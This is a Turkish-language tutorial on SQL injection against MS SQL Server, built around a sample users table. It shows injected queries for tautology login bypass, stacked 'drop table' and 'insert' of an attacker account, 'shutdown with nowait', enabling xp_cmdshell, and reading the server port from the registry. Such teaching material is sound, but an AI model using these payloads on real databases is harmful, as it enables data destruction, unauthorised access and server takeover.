SQL INJECTION
/* SQL Injection, veritabanı sunucusuna gönderilen sorgu bloğuna, yeni bir sorgu sıkıştırma yöntemiyle gerçekleşir. */ create table kullanicilar ( kullaniciId int IDENTITY(1,1) Primary key, kullaniciAd nvarchar(20), kullaniciSifre nvarchar(20), kullaniciEmail nvarchar(20), kullaniciTelefon nvarchar(20), ) insert into kullanicilar values ('Ali','123','asd@hotmail.com','02213987654') insert into kullanicilar values ('Veli','11223','aasdsd@hotmail.com','0216987654') insert into kullanicilar values ('Mehmet','062123','amassd@hotmail.com','053287654') insert into kullanicilar values ('Ayşe','aks123','asfasfd@hotmail.com','054213654') insert into kullanicilar values ('Fatma','fasf123','asdhhg@hotmail.com','05553987654') select * from kullanicilar where kullaniciId=1 -- Bu kod satırı tek 1 data listeler. Şimdi küçük bir oynama yapalım. select * from kullanicilar where kullaniciId=1 or 1=1 -- Bu satırda ise bütün datalar listelenir. select kullaniciAd,kullaniciEmail from kullanicilar where kullaniciAd = '' or ''='' and kullaniciSifre='' or ''='' -- Bu satırda da boş değer göndererek bütün dataları listeleyebiliyoruz. select * from kullanicilar where kullaniciEmail = 'x' drop table Urunler -- Bu basit gibi görünen select sorgusunda urunler tablosu silinir /*Sql sorgusunda bir select sorgusu gerçekleşirken sorgu arasında bir veri eklemesi gerçekleştirilebilir.*/ select * from kullanicilar where kullaniciEmail='x' insert into kullanicilar values ('saldirgan','sifre11','test@test.com','01234456') -- Sorgu çalışır ve saldırgan artık sistemin kullanıcısı olmuştur. -- Basit bir sorguyu tehlikeli hale getirmek için Escape karakteride kullanılabilir. select * from kullanicilar where kullaniciAd='/' drop table deneme -- Sorgusu çalıştığında hem kullanıcı listelemez hemde deneme tablosu -- silindiğine dair herhangi bir bildirim yapılmaz select kullaniciAd from kullanicilar where kullaniciAd='' shutdown with nowait and kullaniciSifre='' /*Shutdown komutu veritabanı sunucusunun kapatılmasını sağlar. Ancak shutdown with nowait olarak kullanılması, bekleme yapmadan hemen kapat anlamına gelir. Bu durumda hiçbir işlem beklenmeden tüm işlemler kesilir ve sunucu kapatılır. Durum bu kadar da sınırlı değildir.Sql serverda veritabanı sunucusu içerisinden işletim sistemini yönetmek için tasarlanmış nesneler ve ifadeler vardır. Bunların en önemlilerinden biri xp_cmdshell dir. Varsayılan olarak nerdeyse hiçbir hosting firması bu nesneye erişim izni vermez.*/ select * from kullanicilar where kullaniciAd ='x' and kullaniciId is NULL exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'xp_cmdshell',1 reconfigure -- Bu sorgu çalışırken SQL profiler ile izlendiğinde yaptığı işlemin aşağıdaki ile -- eş değer olduğu görülebilir. exec sp_configure 'xp_cmdshell',1 /* Sunucu adı, servis adı, sql serverın kullandığı port gibi birçok bilgi aşağıdaki kodla elde edilebilir. */ SELECT @@SERVERNAME AS SunucuAd, @@SERVICENAME AS ServisAd; DECLARE @value VARCHAR(20); DECLARE @key VARCHAR(100); IF ISNULL(CHARINDEX('\', @@SERVERNAME, 0), 0) > 0 BEGIN SET @key = 'SOFTWARE\Microsoft\Microsoft SQL Server\' + @@servicename + '\MSSQLServer\SuperSocketNetLib\Tcp'; END ELSE BEGIN SET @key = 'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER\SUPERSOCKETNETLIB\TCP'; END SELECT @KEY as [Key] EXEC master..xp_regread @rootkey = 'HKEY_LOCAL_MACHINE', @key = @key, @value_name = 'TcpPort', @value = @value OUTPUT SELECT 'Port Numarası : ' + CAST(@value AS VARCHAR(5)) AS PortNumber;